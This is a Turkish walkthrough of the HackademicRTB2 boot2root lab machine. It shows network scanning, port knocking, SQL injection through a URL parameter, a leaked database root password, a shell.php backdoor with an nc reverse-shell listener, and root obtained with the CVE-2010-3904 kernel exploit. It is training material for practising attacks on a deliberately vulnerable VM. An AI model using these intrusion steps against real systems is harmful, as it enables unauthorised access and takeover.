Boot2Root: HackademicRTB2

ISO dosyasına buradan ulaşabilirsiniz.

Hedef: Makinayı rootlamak ve encoded ‘key.txt’ dosyasını okumak.

Makina hakkında ulaşılabilen bilgiler:

  • Linux işletim sistemine sahip
  • DHCP servisi açık, otomatik olarak IP alıyor
  • Üzerinde Apache, MySQL ve PHP çalışıyor
  • Açık parola, hak yükseltme, SQL injection ve kısıtlanmamış dosya yükleme zafiyetleri içeriyor

ISO dosyası kurulduktan ve işletim sistemi başlatıldıktan sonra bizi bir giriş ekranı karşılıyor. Makinayı bulabilmek için netdiscover ile ağ üzerinde bir tarama yapıyoruz.

Screen Shot 2017-05-10 at 14.54.09.png

Makinanın IP adresinin 172.16.28.136 olduğu bulunduktan sonra, nmap taraması port 80 harici bir portu açık döndürmediği için sayfayı ziyaret ediyoruz. (port 666 filtreli gelmekte)

Screen Shot 2017-05-10 at 14.55.09.png

SQLi denemelerinden sonra yapılan nmap taramasında port 666 açılıyor. (Port knocking)

Screen Shot 2017-05-10 at 14.56.37.png

Port 666’ya gittiğimizde bizi yeni bir web sayfası karşılıyor.

Screen Shot 2017-05-10 at 14.56.48.png

Login sayfasının URL’i üzerinden ‘letter’ parametresi kullanılarak SQLi yapabiliyoruz.

Screen Shot 2017-05-10 at 14.57.44.png

SQL injection kullanarak veritabanı bilgilerini çıkardıktan sonra, (Joomla veritabanı içerisinde kullanıcı parola bilgileri md5 olarak tutulmakta) phpmyadmin sayfasından veritabanına root olarak giriş yapıyoruz.

/* Database Settings */ 
var $dbtype = 'mysql'; 
var $host = 'localhost'; 
var $user = 'root'; 
var $password = 'yUtJklM97W'; 
var $db = 'joomla'; 
var $dbprefix = 'jos_';

SQL query üzerinden kendimize bir shell elde ediyoruz:

Screen Shot 2017-05-10 at 14.59.55.png

Elde ettiğimiz shell üzerinden sisteme backdoor atıyoruz ve interaktif bir shell elde ediyoruz:

root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [172.16.28.136] from (UNKNOWN) [172.16.28.137] 46657

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed May 10 12:01:29 UTC 2017 i686 GNU/Linux

shell.php arka kapımızı çalıştırdığımızda, makina üzerinden reverse shell elde etmiş olduk. Yetki durumumuz ve çalışan işletim sistemi versiyonunu yukarıda görüyoruz.

Linux 2.6.32 versiyonu üzerinde yerel hak yükseltme zafiyetlerini araştırdığımızda karşımıza pek çok zafiyet çıkıyor. Bir önceki box’da kullandığımız CVE-2010-3904 kodlu zafiyeti shell üzerinden makinaya indiriyor ve çalıştırıyoruz.

./poc
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc08cac4c
 [+] Resolved default_security_ops to 0xc0773340
 [+] Resolved cap_ptrace_traceme to 0xc02f5060
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!

id

uid=0(root) gid=0(root)

Key.txt’yi buluyor ve içini okuyoruz.

cat Key.txt
iVBORw0KGgoAAAANSUhEUgAAAvQAAAFYCAIAAACziP9JAAAACXBIWXMAAAsTAAALEwEAmpwYAAAg
AElEQVR4nOy9eZhdVZXw/bu35iFVlXmgUiQhBAIJEGKMAQGDb1rpbj5EjYK8KIoy+SniIyC2Q4uC
[...]
FgwAAIAbCG7bxMfH6x0dAADAEMXFxQ2a2SxcuFDv0AAAADQJCgoqLi7uS2tKS0uTkpL0DgoAAMA1
QUFBycnJYWFhegcCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACg0f8BeD+YFbp5dlYAAAAASUVORK5CYII=

Key.txt’nin base64 encoded olduğundan, ona göre düzenliyoruz.

base64 -d Key.txt > tmpfile
file tmpfile
tmpfile: PNG image, 756 x 344, 8-bit/color RGB, non-interlaced

Ve resmi görüntülüyoruz.

rtb2-win.png

Amacımıza ulaştık!